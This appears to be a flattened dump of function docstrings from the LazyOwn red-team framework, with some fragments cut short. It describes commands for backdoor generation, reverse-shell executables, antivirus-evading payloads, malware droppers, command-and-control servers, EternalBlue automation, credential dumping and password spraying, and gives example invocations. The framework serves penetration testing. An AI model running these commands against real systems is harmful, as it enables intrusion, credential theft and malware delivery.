msfrpc -a <IP address> -p This command will prompt the user for necessary information to connect to msfrpcd. Executes a Nuclei scan on a specified target URL or host. Usage:
nuclei -u <URL> [-o If a URL is provided as an argument, it will be used as the target for the scan.
Otherwise, it will use the target specified in self.params["rhost"]. Executes a parsero scan on a specified target URL or host. Usage:
parsero -u <URL> [-o If a URL is provided as an argument, it will be used as the target for the scan.
Otherwise, it will use the target specified in self.params["rhost"]. Executes the Sherlock tool to find usernames across social networks. This function takes a username as an argument and runs the Sherlock tool
to check for the username's presence on various social networks. The
results are saved in CSV format in the Parameters:
line (str): The username to be checked by Sherlock. If not provided, an
error message is printed and the function returns. Returns:
None Raises:
None Example: do_sherlock("example_user")
Running command: sherlock example_user --local -v --csv --print-found Additional Notes: Executes trufflehog to search for secrets in a given Git repository URL.
If trufflehog is not installed, it installs the tool automatically.
This function navigates to the 'sessions' directory and runs trufflehog
with the provided Git URL, outputting the results in JSON format. Args:
line (str): The Git repository URL to scan for secrets. Returns:
None Raises:
None Example:
trufflehog https://github.com/user/repo.git Notes:
- Ensure that trufflehog is installed or it will be installed automatically.
- The output of the trufflehog scan is printed and executed in the 'sessions' directory. Generate a PHP backdoor using Weevely, protected with the given password. This function generates a PHP backdoor file using the specified password. It ensures that Weevely is installed on the system before attempting to generate the backdoor. If Weevely is not present, it will be installed automatically. Usage:
┌─[LazyOwn👽127.0.0.1 ~/LazyOwn][10.10.10.10][http://victim.local/]
└╼ $ weevelygen s3cr3t Parameters:
line (str): The password to protect the generated PHP backdoor. Returns:
None Raises:
print_error: If the password argument is not provided.
print_warn: If Weevely is not installed and needs to be installed. Example:
To generate a PHP backdoor protected with the password 's3cr3t', use the following command:
$ weevelygen s3cr3t Connect to PHP backdoor using Weevely, protected with the given password. This function Connect to PHP backdoor file using the specified password. It ensures that Weevely is installed on the system before attempting to generate the backdoor. If Weevely is not present, it will be installed automatically. Usage:
┌─[LazyOwn👽127.0.0.1 ~/LazyOwn][10.10.10.10][http://victim.local/]
└╼ $ weevely http://victim.local/weevely.php s3cr3t Parameters:
line (str): the url to Weevely shell and the password to protect the generated PHP backdoor. Returns:
None Raises:
print_error: If the password argument is not provided.
print_warn: If Weevely is not installed and needs to be installed. Example:
To generate a PHP backdoor protected with the password 's3cr3t', use the following command:
$ weevelygen s3cr3t Executes a changeme scan on a specified target URL or host. Usage:
changeme [-o If a URL is provided as an argument, it will be used as the target for the scan.
Otherwise, it will use the target specified in self.params["rhost"]. Performs enumeration of information from a target system using :param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed.
:param rhost: The target host for enumeration, specified in the :returns: None Manual execution:
To manually enumerate information from a system, use the following command:
enum4linu-ng -A <target_host> Replace For example:
enum4linux-ng -A 192.168.1.10 Executes a web server fuzzing script with user-provided parameters. This function prompts the user for the necessary parameters to run the fuzzing script,
including the target IP, port, HTTP method, directory, file extension, and expected status codes. Usage:
fuzzing Parameters:
line (str): The command line input for the function (not used directly in the current implementation). Returns:
None Example:
To run the fuzzing script, enter the required parameters when prompted by the function. Executes a payload creation framework for the retrieval and execution of arbitrary CSharp source code.
SharpShooter is capable of creating payloads in a variety of formats, including HTA, JS, VBS, and WSF. Usage:
sharpshooter [-o This function installs SharpShooter if it is not already installed, prompts the user for the payload type,
and then runs SharpShooter to create a payload based on the specified type. Parameters:
line (str): The command line input for the function (not used directly in the current implementation). Returns:
None Example:
To create a payload using SharpShooter, ensure you have already generated shellcode using lazymsfvenom or venom,
and then run this function to specify the payload type and generate the final payload file. Starts the Sliver server and generates a client configuration file for connecting clients.
Provides options to download the Sliver client for Windows, Linux, or macOS. Usage:
sliver-server [flags]
sliver-client [command] This function installs Sliver if it is not already installed, starts the Sliver server,
generates the necessary certificates, and creates a client configuration file.
It also provides options to download the client for different operating systems. Parameters:
line (str): The command line input for the function (not used directly in the current implementation). Returns:
None Example:
To start the Sliver server, generate the necessary certificates, and download the client,
run this function. Choose the appropriate client download option based on the operating system. Generates a certificate authority (CA), client certificate, and client key. Returns:
str: Paths to the generated CA certificate, client certificate, and client key. Executes the Kerbrute tool to enumerate user accounts against a specified target domain controller. This function performs the following actions: Parameters:
line (str): Specify 'pass' to use credentials from 'credentials.txt' for password spraying, 'brute' to brute force using 'users.txt' and the RockYou wordlist, or leave empty for default behavior. Returns:
None Example:
To enumerate user accounts using Kerbrute, ensure Kerbrute is in your path,
then run this function to perform the enumeration. Note: Execute the dacledit.py command for a specific user or all users listed in the users.txt file. This function interacts with the DACL editor to modify access control lists in an Active Directory environment.
It allows the user to select a specific user from the list or execute the command for all users.
Install impacket suit to get this script in the examples
Args:
line (str): The organizational unit (OU) in the format 'OU=EXAMPLE,DC=DOMAIN,DC=EXT'. If not provided, the user is prompted to enter it. Returns:
None Workflow:
1. Extract parameters and set up paths.
2. Check the reachability of the remote host.
3. Prompt the user for an OU if not provided.
4. Check if the users.txt file exists and read the list of users.
5. Display the list of users and prompt the user to select a specific user.
6. Execute the dacledit.py command for the selected user or all users. Raises:
FileNotFoundError: If the users.txt file does not exist. Example:
To execute the command for a specific user:
>>> do_dacledit("MARKETING DIGITAL") Execute the bloodyAD.py command for a specific user or all users listed in the users.txt file. This function interacts with BloodyAD to add users to a group in an Active Directory environment.
It allows the user to select a specific user from the list or execute the command for all users.
(use download_external option 48 to clone the repo)
Args:
line (str): The organizational unit (OU) in the format 'CN=EXAMPLE,DC=DOMAIN,DC=EXT'.
If not provided, the user is prompted to enter it. Returns:
None Workflow:
1. Extract parameters and set up paths.
2. Check the reachability of the remote host.
3. Prompt the user for a CN if not provided.
4. Check if the users.txt file exists and read the list of users.
5. Display the list of users and prompt the user to select a specific user.
6. Execute the bloodyAD.py command for the selected user or all users. Raises:
FileNotFoundError: If the users.txt file does not exist. Example:
To execute the command for a specific user:
>>> do_bloodyAD("") Executes the Evil-WinRM tool to attempt authentication against the specified target. This function performs the following actions: Parameters:
line (str): A command argument to determine the action.
If "pass", the function searches for credential files and authenticates using the selected file.
If not "pass", it prints an error message with usage instructions. Returns:
None Requests a Ticket Granting Ticket (TGT) using the Impacket tool with provided credentials. This function performs the following actions: Parameters:
line (str): A command line argument, not used in this implementation. Returns:
None Performs enumeration of users from a target system using :param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed.
:param rhost: The target host for enumeration, specified in the :returns: None Manual execution:
To manually enumerate information from a system, use the following command:
apache-users -h <target_host> -l Replace For example:
apache-users -h 192.168.1.202 -l /usr/share/wordlists/metasploit/unix_users.txt -p 80 -s 0 -e 403 -t 10 Creates a backdoored executable using This function checks if :param line: The absolute path to the file that will be backdoored. If not provided, the user is prompted
to enter the path. :returns: None Manual execution:
To manually create a backdoored executable, use the following command:
backdoor-factory -f <file_path> -H Replace For example:
backdoor-factory -f /usr/share/windows-binaries/plink.exe -H 192.168.1.202 -P 4444 -s reverse_shell_tcp_inline -J -a -c -l 128 -o sessions/backdoor_factory.exe Tests WebDAV server configurations using This function checks if :param line: The URL of the WebDAV server to test. If provided, it overrides the default URL.
If not provided, the function uses the URL specified in :returns: None Manual execution:
To manually test a WebDAV server, use the following command:
davtest --url Replace For example:
davtest --url http://example.com/webdav Generates payloads using MSFvenom Payload Creator (MSFPC). This function checks if :param line: Not used in this implementation but reserved for future use. :returns: None Manual execution:
To manually generate a payload using MSFPC, use the following command:
msfpc <TYPE> <DOMAIN/IP> <PORT> <CMD/MSF> <BIND/REVERSE> <STAGED/STAGELESS> <TCP/HTTP/HTTPS/FIND_PORT> <BATCH/LOOP> <VERBOSE> Replace the placeholders with the desired values. For example:
msfpc windows 192.168.1.10 4444 reverse stageless tcp verbose Example usage:
msfpc windows 192.168.1.10 # Windows & manual IP.
msfpc elf bind eth0 4444 # Linux, eth0's IP & manual port.
msfpc stageless cmd py https # Python, stageless command prompt.
msfpc verbose loop eth1 # A payload for every type, using eth1's IP.
msfpc msf batch wan # All possible Meterpreter payloads, using WAN IP. Generates payloads using Ivy with various options. Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode. This function checks if :param line: Not used in this implementation but reserved for future use. :returns: None Manual execution:
To manually generate a payload using Ivy, use the following command:
./Ivy <OPTIONS> Replace the placeholders with the desired values. For example:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\windows\system32\notepad.exe -process32 C:\windows\SysWOW64\notepad.exe -O stageless.js Example usage:
ivy staged_inject -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
ivy stageless_local -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
ivy one_liner -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless Execute the tor.sh script with the specified port or default to port 80 if no port is provided. This function constructs a command to run the Parameters:
line (str): Defaults to "80" Returns:
None Example: do_tord(self, "")
sudo bash sessions/tor.sh do_tord(self, "")
sudo bash sessions/tor.sh Note:
Ensure that the Generates a wordlist based on a target name and a list of characters, with various combinations. This function prompts the user for a target name and a wordlist name, then generates various combinations
of the target name with a given list of characters. The combinations include single, double, triple, fourth,
fifth, sixth, and intercalated character variations. The generated passwords are saved to the specified
wordlist file. :param line: Not used in this function. :returns: None Manual execution:
To manually generate a wordlist, run the script and follow the prompts to enter the target name,
wordlist name, and additional characters if desired. For example:
Enter target name(Ex. john) ::: john
Enter wordlist name ::: my_wordlist.txt
Char List ::: 1 2 3 4 5 6 7 8 9 0 ! @ # $
Do you want to add more characters in char List[y/n] ::: y
Enter characters by commas(Ex. : ^,&,,) ::: ^,&, Traces the DNS information for a given domain using the FreeDNS service. (using freedns IP Not your IP) This method performs a DNS trace lookup for the specified domain by
sending an HTTP GET request to the FreeDNS service. If no domain is provided
in the input parameter Parameters:
line (str): The domain name to trace. If not provided, the method uses the
domain extracted from Returns:
None: This method executes a system command and does not return a value. Example: self.do_trace("example.com")
Executes a DNS trace for "example.com". Notes: Generates payloads using Veil-Evasion with various options. Veil-Evasion is a payload creation framework
for generating payloads that evade antivirus detection. This function checks if :param line: Not used in this implementation but reserved for future use. :returns: None Manual execution:
To manually generate a payload using Veil-Evasion, use the following command:
./Veil-Evasion.py -p <PAYLOAD> --<OPTION> <VALUE> Replace the placeholders with the desired values. For example:
./Veil-Evasion.py -p python/meterpreter/rev_https LHOST=192.168.1.100 LPORT=443 Example usage:
veil python_meterpreter_rev_https LHOST=192.168.1.100 LPORT=443
veil ruby_meterpreter_rev_tcp LHOST=192.168.1.100 LPORT=4444 Generates payloads using PowerShell Empire with various options. :param line: Not used in this implementation but reserved for future use. :returns: None Runs evil-ssdp with various options and user-selected templates. :param line: Not used in this implementation but reserved for future use. :returns: None Runs Shellfire with various options and allows generating payloads. :param line: Not used in this implementation but reserved for future use. :returns: None Generates a graph from JSON payload files containing URL, RHOST, and RPORT. :param line: Not used in this implementation but reserved for future use. :returns: None Executes netexec with various options for network protocol operations. :param line: Not used directly but reserved for future use. :returns: None Executes ScareCrow with various options for bypassing EDR solutions and executing shellcode.
to create the shellcode.bin you need run venom or run lazymsfvenom, or run msfvenom yourself :D
:param line: Not used directly but reserved for future use.
:returns: None Generate email permutations based on a full name and domain, then save them to a file. This function prompts the user for a full name and domain, generates various email
permutations based on that information, and saves the results in a text file located
in the Parameters:
line (str): used as Fullname. Internal Variables:
full_name (str): The full name entered by the user, defaulting to 'John Doe'.
domain (str): The domain entered by the user, defaulting to 'example.com'. Returns:
None Example Usage: Note: Executes EyeWitness to capture screenshots from a list of URLs.
You need to provide a file containing URLs or a single URL to capture.
:param line: Not used directly but reserved for future use.
:returns: None Run secretsdump.py with the provided domain, username, password, and IP address. :param line: This parameter is not used in the function but can be reserved for future use. :returns: None Manual execution:
To manually run This function prompts the user for domain, username, password, and IP address. Run GetUserSPNs.py with the provided domain, username, password, and IP address. :param line: This parameter is not used in the function but can be reserved for future use. :returns: None Manual execution:
To manually run This function prompts the user for domain, username, password, and IP address. Perform password spraying using crackmapexec with the provided parameters. :param line: This parameter is not used in the function but can be reserved for future use. :returns: None Manual execution:
To manually run This function prompts the user for IP address, user file, and password. Perform port scanning using vscan with the provided parameters. :param line: This parameter is not used in the function but can be reserved for future use. :returns: None Manual execution:
To manually run This function prompts the user for the target hosts and ports, and executes the vscan command accordingly. Attempt to exploit the Shellshock vulnerability (CVE-2014-6271, CVE-2014-7169). This function generates HTTP requests with a crafted payload to detect if a target is vulnerable to Shellshock. :param line: Input parameters for the function.
:returns: None Generate a reverse shell in various programming languages. This function prompts the user to choose a reverse shell type (Bash, Python, NetCat, PHP, Ruby, Perl, Telnet, NodeJS, Golang, PowerShell)
and then asks for the necessary parameters (IP and port). Based on the user's input, it generates the corresponding
reverse shell command. :param line: Not used in this implementation.
:returns: None Executes the 'alterx' command for subdomain enumeration on the provided domain. If 'alterx'
is not installed, the function automatically downloads, installs, and configures it. The result
of the subdomain enumeration is saved in a session-specific text file. Steps performed by the function: Parameters: Returns: Dependencies: Execute the AlliN.py tool with various scan modes and parameters. This function prompts the user to choose a scan type (e.g., pscan, sfscan, bakscan),
and then asks for the necessary parameters (host, ports, project name, etc.).
Based on the user's input, it generates the corresponding command and executes it. :param line: Not used in this implementation.
:returns: None Execute the Dr0p1t tool to create a stealthy malware dropper. This function prompts the user to input the necessary parameters for
generating a dropper, including the malware URL, persistence options,
and additional configurations. Based on the user's input, it constructs
the command and executes it. :param line: Not used in this implementation.
:returns: None Install and execute the git-dumper tool to download Git repository content. This function checks if git-dumper is installed, and if not, installs it using pip.
Then, it prompts the user to input the necessary parameters to run git-dumper, constructs
the command, and executes it. :param line: Not used in this implementation.
:returns: None Generate and execute a PowerShell command stager to run a .ps1 script. This function takes the name of a PowerShell script (.ps1), encodes its content in base64,
and constructs a command to execute the script using PowerShell in a hidden and elevated manner.
The function then prints the generated command. :param line: The name of the PowerShell script file to encode and execute.
:returns: None Search the shell-storm API for shellcodes using the provided keywords. This function sends a GET request to the shell-storm API with the specified keywords.
It then prints the results. :param line: A string containing the keywords to search for.
:returns: None Automates the setup and execution of Ligolo server and client for tunneling and port forwarding. :param line: The command line input containing the port number for Ligolo setup.
:type line: str
:returns: None Opens or creates the users.txt file in the sessions directory for editing using nano. :param line: Not used directly but reserved for future use. :returns: None Execute the windapsearch tool to perform Active Directory Domain enumeration through LDAP queries. This function allows the user to specify various parameters for executing different LDAP query modules
using windapsearch. It handles user input for domain, username, password, and other options, constructs
the command, and executes it. :param line: Not used in this implementation.
:returns: None Decrypts TightVNC passwords using Metasploit. This function demonstrates how TightVNC passwords can be decrypted using the known hardcoded DES key
from the program and Metasploit's Steps: :param line: The TightVNC password in hexadecimal format.
:type line: str
:returns: None Manual execution:
To manually decrypt a TightVNC password, you would need to: Example:
passtightvnc D7A514D8C556AADE Execute the Shadowsocks tool to create a secure tunnel for network traffic. This function allows the user to specify various parameters for configuring and running the Shadowsocks client
or server. It handles user input for server address, port, password, encryption method, and other options,
constructs the command, and executes it. :param line: Not used in this implementation.
:returns: None Execute Kusanagi to generate payloads for command, code, or file injection. This function allows the user to specify various parameters for configuring and running Kusanagi to
generate payloads for reverse/bind shells or injected files/code. It handles user input for target addresses,
ports, encoding, obfuscation, badchars, and other options, constructs the command, and executes it. :param line: Not used in this implementation.
:returns: None Extracts usernames from a JSON output generated by go-windapsearch and appends them
to the file sessions/users.txt. The function loads the JSON file, parses the :param line: Path to the JSON file (e.g., 'sessions/<dc_ip>_windap.json').
:returns: None Generate a downloader command for files in the sessions directory. This function lists all files in the 'sessions' directory recursively, excluding certain file extensions.
The user can select a file, choose a download method, and the command is generated and copied to the clipboard. :param line: Optional output filename for the downloader command.
:returns: None Executes an LDAP search against a target remote host (rhost) and saves the results. This function performs the following tasks: This function is useful in penetration testing engagements where LDAP enumeration is part of the reconnaissance phase. It automates LDAP queries and extracts useful user information, which could assist in credential harvesting, password spraying, or other user-based attacks. Automates the EternalBlue (MS17-010) exploitation process using Metasploit. This function performs the following tasks: :param line: Command line input that provides the LHOST and RHOST.
:type line: str
:returns: None Search for a CVE using the CIRCL API. This function sends a GET request to the CIRCL API to retrieve CVE details
and prints relevant information to the screen. :param line: A string containing the CVE ID (optional).
:returns: None Compresses the 'sessions' folder and encodes it into a video using the lazyown_infinitestorage.py script.
If a filename is provided as an argument, it decodes the specified video instead. This function operates in two modes depending on the input: :param line: An optional parameter that, when provided, indicates that the user wants to decode a video. If not provided, the function operates in encode mode.
:type line: str
:returns: None Example usage:
- To compress and encode: do_evidence()
- To decode a video: do_evidence('decode') Notes: HttpFileServer version 2.3. Vulnerable using the module rejetto_hfs_exec of metasploit
:param line: Command line input that provides the LHOST and RHOST.
:type line: str
:returns: None SMB CVE-2008-4250. Vulnerable using the module ms08_067_netapi of metasploit
:param line: Command line input that provides the LHOST and RHOST.
:type line: str
:returns: None Try to check if Vulnerable using the module passed by argument of lazyown example automsf exploit/windows/iis/iis_webdav_upload_asp to use in metasploit
:param line: Command line input that provides the LHOST and RHOST.
:type line: str
:returns: None (CVE-2017-7269). Vulnerable using the module iis_webdav_upload_asp of metasploit
:param line: Command line input that provides the LHOST and RHOST.
:type line: str
:returns: None Opens or creates the file using line in the sessions directory for editing using nano. :param line: name of the file to use in nano in session directory. :returns: None Runs This function starts a Usage:
pwncatcs :param line: The port number to use for the Manual execution: If no port is provided as an argument, the function will use the port specified in the After starting the listener, the function prints a message indicating that Dependencies: Create a new JSON payload file based on the template provided in payload.json. This function reads an existing JSON file named 'payload.json' and
allows the user to update specific fields. The following fields can
be modified: All other fields from the original payload are preserved in the new
JSON file, ensuring that no other data is lost or altered. The newly created JSON payload will be saved in a new file with the
format 'payload_<new_name>.json', where <new_name> is derived
from the domain name's subpart. Parameters:
line (str): An optional string parameter that, if provided, is used
to generate the new 'url' and 'domain'. If empty,
the user will be prompted to enter values for 'url'
and 'domain'. Returns:
None Executes the XSS (Cross-Site Scripting) vulnerability testing procedure
using user-defined parameters and configurations. This method guides the user through the process of setting up and
executing XSS payload injections against a specified target domain.
It prompts the user for necessary input, including the XSS payload
URL, the target domain, and the request timeout settings. The
function ensures that all required inputs are provided and valid
before proceeding with the injection process. Parameters:
line (str): A line of input that may contain additional parameters
or commands (not utilized within this method). Raises:
ValueError: If the provided payload URL or target domain is empty,
indicating that these are required for the injection
process. This method leverages user input for flexibility, allowing
customized testing scenarios for XSS vulnerabilities. Executes an Arjun scan on the specified URL for parameter discovery. This function checks if Arjun is installed on the system, installs it if necessary, and then constructs
a command to run Arjun against the provided URL with user-defined options. Parameters:
line (str): Input line, not currently used. Transforms the input string based on user-defined casing style. This command asks the user for a casing style (e.g., lower, upper, camel, pascal)
and transforms the input string accordingly. Parameters:
line (str): Input string to be transformed. Executes the This function checks if the Parameters:
line (str): Input line, not currently used. Returns:
None: Outputs the command executed and any messages during execution. duckyspark Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus. duckyspark method checks if Arduino CLI and Micronucleus are installed on the system.
If they are not available, it installs them. It then compiles a Digispark sketch
and uploads the generated .hex file to the Digispark device. The method duckyspark performs the following actions: Args:
line (str): Command line input provided by the user, which may contain additional parameters. Returns:
None: The function does not return any value but may modify the state of the system
by executing commands. Generate usernames using the username-anarchy tool based on user input. This function prompts the user to either provide names directly or select
options such as auto-generation based on country datasets, input files, and
specific username formats. It then constructs the command for :param line: is optional you can pass the name and lastname as an argument example: username_anarchy firstname lastname
:returns: None Command emp3r0r Downloads and sets up the Emperor server for local exploitation. This function performs the following tasks: Args:
line (str): Optional arguments to specify port Relay Returns:
None Example:
emp3r0r 6666 Notes:
- Ensure that the required dependencies are installed. Handles the creation and serialization of a template helper. This function performs the following tasks: Args:
line (str): The input line containing the filename and data in the format "filename, data". Returns:
None Raises:
None Example:
template_helper_serializer shell.php, Command gospherus: Clones and uses the Gopherus tool to generate gopher payloads for various services.
Use the command template_helper_serializer to generate the serialization payload. more info help template_helper_serializer This function performs the following tasks:
0. Install Python2 (Old protocol, old t00l, old python) Args:
line (str): Optional argument for specifying the chosen exploit. Returns:
None Example:
gospherus 2 Command wpscan: Installs and runs WPScan to perform WordPress vulnerability scanning. This function performs the following tasks: Args:
line (str): Optional argument to specify the URL or additional WPScan options. Returns:
None Example:
wpscan --url blog.tld Create multiple JSON payload files based on a CSV input file from HackerOne. This function processes a CSV file located in the 'sessions' directory. The CSV file
must contain information about different assets, including 'identifier',
'eligible_for_bounty', and 'eligible_for_submission'. For each asset where
both 'eligible_for_bounty' and 'eligible_for_submission' are set to True,
a JSON payload file is created using a predefined template. The CSV must contain the following columns: For each eligible asset: The JSON payload is saved in the format 'payload_ Parameters:
line (str): An optional string parameter. If provided, it selects the corresponding CSV file
in the 'sessions' directory based on the user's input. Returns:
None Convert an IPv4 address into its hexadecimal representation. This function takes an IPv4 address in standard dotted-decimal format
(e.g., '192.168.1.1') and converts each of its four octets into a hexadecimal
number. The resulting hexadecimal string is concatenated without separators,
providing the full hexadecimal equivalent of the IP address. The input IP address is expected to be a string in the format 'X.X.X.X',
where X is an integer between 0 and 255. Parameters:
line (str): The input string representing the IPv4 address in dotted-decimal format. Returns:
None: The hexadecimal equivalent of the IP address is printed to the console. List all .kdbx files in the 'sessions' directory, let the user select one, and run the
command Parameters:
line (str): An optional string parameter. This can be used for any additional input,
though it's not needed in this specific command. Returns:
None Open a .kdbx file and print the titles and contents of all entries. The password can be provided through
the 'line' parameter, via user input, or from a 'credentials.txt' file in the 'sessions' directory. If the file 'credentials.txt' exists in the 'sessions' directory, the first password from it
will be used automatically. Parameters:
line (str): An optional string parameter to pass the password. If not provided, the user will
be prompted to input the password. Returns:
None Attempts to connect to an MSSQL server using the mssqlclient.py tool with Windows authentication. The function retrieves the necessary parameters (remote host and domain) from the
instance's parameter dictionary. If a credentials file exists in the 'sessions_dir',
it reads the file and uses the username/password combinations found there. If the file
does not exist, it prompts the user for a username and password. The password is copied to the clipboard for convenience. A command is constructed using
the mssqlclient.py tool, and it is then executed to initiate the connection to the MSSQL
server. Args:
line (str): The password input from the command line or an empty string if not provided. Returns:
None Executes the GetADUsers.py script to retrieve Active Directory users. The function retrieves the necessary parameters (domain controller IP and domain) from the
instance's parameter dictionary. If a credentials file exists in the 'sessions_dir',
it reads the file and uses the username/password combinations found there. If the file
does not exist, it prompts the user for a username and password. The password is copied to the clipboard for convenience. A command is constructed using
the GetADUsers.py tool, and it is then executed to enumerate Active Directory users. Args:
line (str): The password input from the command line or an empty string if not provided. Returns:
None Crack a Cisco Type 7 password hash and display the plaintext. This command takes an encrypted Cisco Type 7 password hash as input,
processes it to recover the original plaintext password, and prints the
result to the console. Args:
line (str): The encrypted password hash in Cisco Type 7 format. Returns:
None: The function prints the plaintext password directly to the console. Command loxs: Installs and runs Loxs for multi-vulnerability web application scanning. This function performs the following tasks: Args:
line (str): Optional argument for specifying the input URL or file, custom payload, and additional options. Returns:
None Example:
loxs --url target.com Command blazy: Installs and runs blazy for multi-vulnerability web application scanning. This function performs the following tasks: Args:
line (str): Optional argument for specifying the input URL. Returns:
None Example:
python3 main.py -i target.com Command parth: Installs and runs Parth for discovering vulnerable URLs and parameters. This function performs the following tasks: Args:
line (str): Optional argument for specifying the target domain, import file, or additional Parth options. Returns:
None Example:
parth -t example.com Command breacher: Installs and runs Breacher for finding admin login pages and EAR vulnerabilities. This function performs the following tasks: Args:
line (str): Optional argument for specifying the target URL, file type, and additional Breacher options. Returns:
None Example:
breacher -u example.com --type php Command xsstrike: Installs and runs XSStrike for finding XSS vulnerabilities. This function performs the following tasks: Args:
line (str): Optional argument for specifying the target URL, crawling level, encoding, and other XSStrike options. Returns:
None Example:
xsstrike -u http://example.com/search.php?q=query --crawl -l 3 Command penelope: Installs and runs Penelope for handling reverse and bind shells. This function performs the following tasks: Args:
line (str): Optional argument for specifying the port and other Penelope options. Returns:
None Example:
penelope 5555 -i eth0 Open a new window within a tmux session using the LazyOwn RedTeam Framework. This method is designed to create a new vertical split window in an existing
tmux session, where the specified command will be executed. The command
used to open the new window is the The method first ensures that the specified tmux session is active by calling
the Args:
arg (str): Additional arguments passed to the command, if any. This can be
used to customize the behavior of the command executed in the
new window. However, in the current implementation, this
argument is not utilized and can be left as an empty string. Example:
If this method is called within a command-line interface of the LazyOwn
RedTeam Framework, it will open a new vertical tmux window and execute
the Note:
- Ensure that tmux is installed and properly configured on the system.
- The method assumes that the session name is defined and accessible in
the scope where this method is called. Open a new window within a tmux session using the LazyOwn RedTeam Framework. This method is designed to create a new horizontal split window in an existing
tmux session, where the specified command will be executed. The command
used to open the new window is the The method first ensures that the specified tmux session is active by calling
the Args:
arg (str): Additional arguments passed to the command, if any. This can be
used to customize the behavior of the command executed in the
new window. However, in the current implementation, this
argument is not utilized and can be left as an empty string. Example:
If this method is called within a command-line interface of the LazyOwn
RedTeam Framework, it will open a new horizontal tmux window and execute
the Note:
- Ensure that tmux is installed and properly configured on the system.
- The method assumes that the session name is defined and accessible in
the scope where this method is called. Command adgetpass: Generates a PowerShell script to extract credentials from Azure AD Connect Sync. This function generates a PowerShell script based on user inputs, including the SQL server,
database, and custom keyset values. The script retrieves encryption keys, decrypts credentials,
and outputs the domain, username, and password from the AD Sync configuration. Args:
line (str): Optional argument to specify the server name, database name, and other options
in the following format: "server_name database_name keyset_id instance_id entropy". Returns:
None Example:
adgetpass MONTEVERDE ADSync 1 1852B527-DD4F-4ECF-B541-EFCCBFF29E31 194EC2FC-F186-46CF-B44D-071EB61F49CD Command openredirex: Clones, installs, and runs OpenRedirex for testing open redirection vulnerabilities. This function performs the following tasks: Args:
line (str): Optional argument for specifying the URL list, payload file, keyword, and concurrency level. Returns:
None Example:
openredirex list_of_urls.txt payloads.txt FUZZ 50 Command feroxbuster: Installs and runs Feroxbuster for performing forced browsing and directory brute-forcing. This function performs the following tasks: Args:
line (str): Optional argument for specifying the target URL, wordlist, and other Feroxbuster options. Returns:
None Example:
feroxbuster -u http://example.com -w wordlist.txt -x php,html Command gowitness: Installs and runs Gowitness for screenshotting web services or network CIDR blocks. This function performs the following tasks: Args:
line (str): Optional argument for specifying the URL or scan type. Returns:
None Example:
gowitness nmap -f scan_results.xml --write-db Command odat: Runs the ODAT sidguesser module to guess Oracle SIDs on a target Oracle database. This function performs the following tasks: Args:
line (str): Optional argument for specifying additional ODAT options. Returns:
None Example:
odat Command sireprat: Automates the setup and usage of SirepRAT to perform various attacks on a Windows IoT Core device. This function performs the following tasks: Args:
line (str): Optional argument for specifying attack type directly. Returns:
None Example:
sireprat Generates hosts.txt, urls.txt, domains.txt, and targets.txt from multiple JSON payload files. This function scans the current directory for all JSON files with the format 'payload_{variable}.json',
and extracts the 'rhost', 'url', 'domain', and 'subdomain' fields from each file. It then writes these values into
four separate text files: 'hosts.txt', 'urls.txt', 'domains.txt', and 'targets.txt'. The 'targets.txt' file contains
the domain and subdomain in the format '{subdomain}.{domain}' and '{subdomain}.{url}', with domains cleaned using
the 'get_domain' function. Parameters:
line (str): An optional argument (unused in this function). Returns:
None Converts shellcode to SYLK format and saves the result to a file. This function reads the provided shellcode, or retrieves it from a default
binary source if not supplied. The shellcode is then converted to SYLK
format and saved in the PoC Python code to create a SYLK file with Excel4 shellcode loader. Author: Stan Hegt (@StanHacked) Just a proof of concept. Needs polishing before use in actual operations.
Or as Adam Chester would put it: "RWX for this POC, because... yolo" Background details: https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/ Args:
line (str): The input shellcode string. If empty or None, the function
attempts to load shellcode from a predefined source. Returns:
None: The function writes the SYLK shellcode to a file and prints it
out, but does not return any value. Raises:
FileNotFoundError: If no shellcode is found when trying to load it from
the default source. Command magicrecon: Automates the setup and usage of MagicRecon to perform various types of reconnaissance and vulnerability scanning on specified targets. This function performs the following tasks: Args:
line (str): Command-line arguments specifying the target and recon mode. If not provided, the function prompts the user for required inputs. Returns:
None Example:
magicrecon -d example.com -a Command cubespraying: Automates the installation and usage of CubeSpraying for performing credential spraying attacks. This function performs the following tasks: Args:
line (str): Optional argument for specifying the target URL, username file, password file, and additional CubeSpraying options. Returns:
None Example:
cubespraying --url http://example.com --usernames users.txt --passwords passwords.txt --verbose --timeout 5 Run samdump2 with the SAM and SYSTEM file :param line: This parameter is not used in the function but can be reserved for future use. :returns: None Manual execution:
To manually run This function prompts the user for domain, username, password, and IP address. Command stormbreaker: Automates the installation and usage of Storm-Breaker for performing various network attacks. This function performs the following tasks: Args:
line (str): Optional argument for specifying additional Storm-Breaker options. Returns:
None Example:
stormbreaker --verbose Command upload_bypass: Automates the installation and execution of Upload_Bypass for performing file upload bypass tests. This function performs the following tasks: Args:
line (str): Optional argument for specifying execution mode, request file, success message, forbidden extension, and other Upload_Bypass options. Returns:
None Example:
upload_bypass --detect --request_file test --success 'File uploaded successfully' --extension php --upload_dir /uploads --burp Converts hexadecimal data from a file to plain text. Opens a text editor for the user to paste hexadecimal data into a file.
Then reads the file, processes the hexadecimal data, and writes the plain text to a new file. Args:
line (str): Name of the file containing hexadecimal data (without extension).
Defaults to 'request.txt' if not provided. Returns:
None Finds and returns a list of target hosts with port 445 open in the specified subnet. Args:
subnet (str): The subnet to scan, e.g., '192.168.1.0/24'. Returns:
list: A list of IP addresses where port 445 is open. Sets up a Metasploit multi/handler configuration in the given config file. Args:
config_file (file-like object): The file object to write the Metasploit handler configuration to.
lhost (str): The local host IP address to listen for incoming connections.
lport (int): The local port number to listen for incoming connections. Writes:
- Exploit configuration for Metasploit to the provided file. Configures and writes a Metasploit exploit for the Conficker vulnerability to the given config file. Args:
config_file (file-like object): The file object to write the Metasploit exploit configuration to.
host (str): The target host IP address to exploit.
lhost (str): The local host IP address to listen for incoming connections.
